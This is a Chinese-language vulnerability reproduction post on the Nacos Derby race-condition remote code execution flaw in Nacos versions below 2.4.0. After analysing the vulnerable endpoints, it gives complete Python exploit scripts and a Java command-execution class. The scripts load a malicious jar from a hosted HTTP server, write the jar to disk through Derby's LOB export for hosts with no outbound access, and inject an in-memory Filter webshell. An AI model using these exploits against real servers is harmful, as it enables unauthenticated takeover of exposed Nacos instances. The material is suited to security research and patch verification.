Nacos Derby 条件竞争RCE漏洞复现

Nacos Derby 条件竞争RCE漏洞复现

本文字数:3352  阅读时长:7分钟

访客数:加载中... | 阅读量:加载中...

0x01 简介

Nacos 是一个用于动态服务发现和配置以及服务管理的平台,Derby 是一个Java 类库的形式对外提供服务的数据库引擎。

0x02 漏洞概述

Nacos Derby数据库接口/nacos/v1/cs/ops/derby/nacos/v1/cs/ops/data/removal 存在条件竞争漏洞,攻击者可借此接口执行恶意SQL,加载恶意jar并注册函数,在未授权条件下利用 derby sql 注入漏洞(CVE-2021-29442)调用恶意函数来执行恶意代码。

0x03 影响版本

nacos < 2.4.0

0x04 环境搭建

从官方网站下载安装包,运行命令安装Windows环境

复现环境使用的是Release 1.4.0 (Nov 2, 2020) · alibaba/nacos ,下载完成解压后进入\nacos\bin文件夹内,启动命令行

bat
cd /d nacos的安装位置\nacos\bin
startup.cmd -m standalone

即可启动nacos,访问http://127.0.0.1:8848/nacos/可以看到nacos已经正常启动,账号和密码都是nacos

0x05 漏洞浅析

该漏洞依赖于removalderby俩个接口,下面对俩个接口进行详细介绍。

removal接口接收file参数,并且当数据库为derby且开启嵌入模式时,其会将接收到的file参数通过databaseOperate.dataImport(file)进行导入并按照SQL语句进行处理。

java
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
  DeferredResult<RestResult<String>> response = new DeferredResult<>();
  if (!DatasourceConfiguration.isEmbeddedStorage()) {
      response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
      return response;
  }
  DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
  WebUtils.onFileUpload(multipartFile, file -> {
      NotifyCenter.publishEvent(new DerbyImportEvent(false));
      databaseOperate.dataImport(file).whenComplete((result, ex) -> {
          NotifyCenter.publishEvent(new DerbyImportEvent(true));
          if (Objects.nonNull(ex)) {
              response.setResult(RestResultUtils.failed(ex.getMessage()));
              return;
          }
          response.setResult(result);
      });
  }, response);
  return response;
}

跟进dataImport方法,这段代码的大致意思是异步将file里的语句逐行提取出来,并按照一次最大1000条的标准进行异步执行。因此清晰的是,我们可以通过removal进行SQL语句执行,但是其唯一的问题在于没有返回数据。此外因为是异步读取的

java
public CompletableFuture<RestResult<String>> dataImport(File file) {
    return CompletableFuture.supplyAsync(() -> {
        try (DiskUtils.LineIterator iterator = DiskUtils.lineIterator(file)) {
            int batchSize = 1000;
            List<String> batchUpdate = new ArrayList<>(batchSize);
            List<CompletableFuture<Void>> futures = new ArrayList<>();
            List<Boolean> results = new CopyOnWriteArrayList<>();
            while (iterator.hasNext()) {
                String sql = iterator.next();
                if (StringUtils.isNotBlank(sql)) {
                    batchUpdate.add(sql);
                }
                if (batchUpdate.size() == batchSize || !iterator.hasNext()) {
                    List<ModifyRequest> sqls = batchUpdate.stream().map(s -> {
                        ModifyRequest request = new ModifyRequest();
                        request.setSql(s);
                        return request;
                    }).collect(Collectors.toList());
                    futures.add(CompletableFuture.runAsync(() -> results.add(doDataImport(jdbcTemplate, sqls))));
                    batchUpdate.clear();
                }
            }
            CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
            int code = 500;
            if (!CollectionUtils.isEmpty(results)) {
                code = (!results.stream().anyMatch(Boolean.FALSE::equals)) ? 200 : 500;
            }
            return RestResult.<String>builder().withCode(code).withData("").build();
        } catch (Throwable ex) {
            LOGGER.error("An exception occurred when external data was imported into Derby : ", ex);
            return RestResultUtils.failed(ex.getMessage());
        }
    });
}

而该漏洞需要条件竞争的原因就在于WebUtils.onFileUpload会在获取返回值后执行finally删除上传的临时文件,而在刚刚的dataImport中的第二行return CompletableFuture.supplyAsync(() -> {…我们可以看到它是先返回,然后开一个异步任务读取文件。问题就在这,一旦删除文件快于异步任务读取文件,那么这个任务可能就读不到上传的file了,导致我们的攻击失败。在使用Docker环境复现时,这种情况更加明显,这也是我直接部署原生项目的原因。

java
public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
          DeferredResult<RestResult<String>> response) {
      
      if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
          response.setResult(RestResultUtils.failed("File is empty"));
          return;
      }
      File tmpFile = null;
      try {
          tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
          multipartFile.transferTo(tmpFile);
          consumer.accept(tmpFile);
      } catch (Throwable ex) {
          if (!response.isSetOrExpired()) {
              response.setResult(RestResultUtils.failed(ex.getMessage()));
          }
      } finally {
          DiskUtils.deleteQuietly(tmpFile);
      }
  }

再看/derby接口if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {if (!StringUtils.containsIgnoreCase(sql, limitSign)) { 这俩个if限制了执行的sql语句只能是以SELECT开头的,限制了我们执行任意的SQL语句,但仍有一定的自由度,并且该接口有返回数据。配合/removal加载恶意函数,再通过这个接口调用就能解决无回显的问题。

java
@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
    String selectSign = "SELECT";
    String limitSign = "ROWS FETCH NEXT";
    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
    try {
        if (!DatasourceConfiguration.isEmbeddedStorage()) {
            return RestResultUtils.failed("The current storage mode is not Derby");
        }
        LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
                .getInstance().getDataSource();
        if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
            if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
                sql += limit;
            }
            JdbcTemplate template = dataSourceService.getJdbcTemplate();
            List<Map<String, Object>> result = template.queryForList(sql);
            return RestResultUtils.success(result);
        }
        return RestResultUtils.failed("Only query statements are allowed to be executed");
    } catch (Exception e) {
        return RestResultUtils.failed(e.getMessage());
    }
}

0x06 漏洞复现

如果对方服务出网,最简单的方法就是通过removal接口加载我们部署在公网上的恶意包,再通过derby接口进行触发。

我们先编写一个恶意类Example,然后将其打包成jar包。打包步骤可以参考如何使用IDEA生成jar文件_idea怎么生成jar文件-CSDN博客

java
package org.example;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

/* loaded from: Example.class */
public class Example {
    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }

    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();
        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != null && osName.startsWith("Windows")) {
                charset = "gbk";
            }
            Process p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis, charset);
            BufferedReader br = new BufferedReader(isr);
            while (true) {
                String line = br.readLine();
                if (line != null) {
                    bf.append(line);
                } else {
                    return bf.toString();
                }
            }
        } catch (Exception e) {
            StringWriter writer = new StringWriter();
            PrintWriter printer = new PrintWriter(writer);
            e.printStackTrace(printer);
            try {
                writer.close();
                printer.close();
            } catch (IOException e2) {
            }
            return "ERROR:" + writer.toString();
        }
    }
}

然后再在jar所在文件夹下执行python3 -m http.server 8000,当然你也可以和我一样直接使用–directory指定目录。

现在访问你本地的8000端口http://127.0.0.1:8000/就可以看到你部署的jar包了

现在进行最简单的出网环境下的RCE,编辑一个Python脚本,内容如下(注意其中的jar文件访问路径需要根据你自己的情况调整)

python
import random, os
import requests
from urllib.parse import urljoin
import base64

def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CALL sqlj.install_jar('http://127.0.0.1:8000/untitled.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
        """.format(junk=os.urandom(3).hex(),id=now_id,jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            while True:
                command = input('>>>')
                get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
                get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                print(get_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

运行后效果如图,可以看到能够正常执行命令。如果你使用的是docker环境可能要多次尝试,条件竞争成功后就能执行命令了。

这段POC的关键部分在于post_sql和get_sql这俩个参数,下面对其原理进行简单解释。

python
post_sql = """
CALL sqlj.install_jar('http://127.0.0.1:8000/untitled.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
""".format(junk=os.urandom(3).hex(),id=now_id,jar_name=jar_name)
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)

post_sql中的CALL sqlj.install_jar是用来加载我们远端部署的jar包,CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY就是将其加入derby的classpath。而CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'就是创建一个函数其接收VARCHAR返回VARCHAR并且类型是JAVA,不当做SQL执行,方法就是org.example.Example.exec。get_sql的内容就是调用我们之前构造函数并执行。

0x07 不出网利用

刚刚的出网RCE的原理也是相当的简洁,那么在不出网的情况下要如何利用呢?这就需要一个P牛找到的SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE方法,这个存储过程主要用于批量导出数据,特别是当数据中包含 BLOB(二进制大对象,如文件、图片)或 CLOB(字符大对象,如长文本)时,它提供了一种将“普通数据”与“大对象数据”分离存储的导出方式。脚本如下,其通过values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar 将字节码导出存储为jar包,从而实现了不出网加载恶意jar包。

python
import random, os
import requests
from urllib.parse import urljoin
import base64
with open(r'C:\Users\Dream_snow\Downloads\nacos-2.3.2\untitled\out\artifacts\untitled_jar\untitled.jar', 'rb') as f:
    payload = f.read().hex().upper()
def exploit(target):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
    for i in range(1,10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
        CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
        """.format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            while True:
                command = input('>>>')
                get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
                get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                print(get_resp.json())
if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

执行效果如下

既然可以不出网加载jar包,那么能不能注入内存马呢?当然可以!这里展示注入Filiter类型的内存马

python
import random, os
import requests
from urllib.parse import urljoin
import base64
import time
from datetime import datetime

with open(r'C:\Users\Dream_snow\Documents\JSONUtil.jar', 'rb') as f:
    payload = f.read().hex().upper()

def exploit(target):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
    jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
    for i in range(1, 10000):
        if i % 100 == 0:
            print(i // 100)
        post_sql = """
        CREATE TABLE FILE_STORAGE_{id} (id INTEGER PRIMARY KEY,file_data BLOB,file_name VARCHAR(255))

        INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (1, CAST(X'{payload}' AS BLOB), '{jar_name}.jar')

        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('SELECT file_data FROM FILE_STORAGE_{id} WHERE file_name = ''{jar_name}.jar'' ORDER BY id','/tmp/{junk}.del',null,null,'UTF-8','/tmp/{jar_name}.jar')

        CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

        CREATE FUNCTION S_EXAMPLE_{id}(PARAM CHAR(32) FOR BIT DATA) RETURNS CHAR(32) FOR BIT DATA PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'ch.qos.logback.e.JSONUtil.gzipDecompress'

        DROP TABLE FILE_STORAGE_{id}
        """.format(junk=os.urandom(3).hex(), payload=payload, id=now_id, jar_name=jar_name)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        #post_json = post_resp.json()
        dump_response(post_resp, title=f"POST /data/removal try={i}", max_body=None)
        time.sleep(1)
        try:
            post_json = post_resp.json()
        except Exception as e:
            print("[-] JSON parse failed:", repr(e))
            time.sleep(0.5)
            continue

        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}(X'1F') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(
                id=now_id, cmd=1)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.json())
            return

def dump_response(resp, title="RESPONSE", max_body=None):
    """
    打印 HTTP 响应包:状态行 + 响应头 + 响应体
    max_body=None 表示完整打印;如果太长可以改成 2000
    """
    version_map = {
        10: "HTTP/1.0",
        11: "HTTP/1.1",
        20: "HTTP/2"
    }

    http_version = version_map.get(getattr(resp.raw, "version", 11), "HTTP/1.1")

    print("\n" + "=" * 80)
    print(f"[{title}] {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"{http_version} {resp.status_code} {resp.reason}")

    for k, v in resp.headers.items():
        print(f"{k}: {v}")

    print()
    body = resp.text

    if max_body is not None and len(body) > max_body:
        print(body[:max_body])
        print(f"\n... body truncated, total length={len(body)} ...")
    else:
        print(body)

    print("=" * 80 + "\n")

if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    exploit(target=target)

看到The exception 'java.util.zip.ZipException: Not in GZIP format' was thrown while evaluating an... 这部分代表注入成功了,后续你用对应的工具连接即可。

这个脚本还考虑了内存马大小过大的问题,因为一次写入的大小是有限制的。大小限制是16336个字节,所以需要通过多次写入。解决方法就是写入表中再按照序号顺序写入文件中,也是非常巧妙,只需要更改如下这部分即可。

sql
INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (1, CAST(X'{payload1}' AS BLOB), '{jar_name}.jar')
INSERT INTO FILE_STORAGE_{id} (id, file_data, file_name) VALUES (2, CAST(X'{payload2}' AS BLOB), '{jar_name}.jar')

0x08 参考链接

从Nacos derby RCE学习derby数据库的利用-先知社区

Nacos RCE漏洞分析、复现及不出网利用姿势 | 长亭百川云

QVD-2024-26473:Nacos Derby未授权RCE漏洞-腾讯云开发者社区-腾讯云

如何使用IDEA生成jar文件_idea怎么生成jar文件-CSDN博客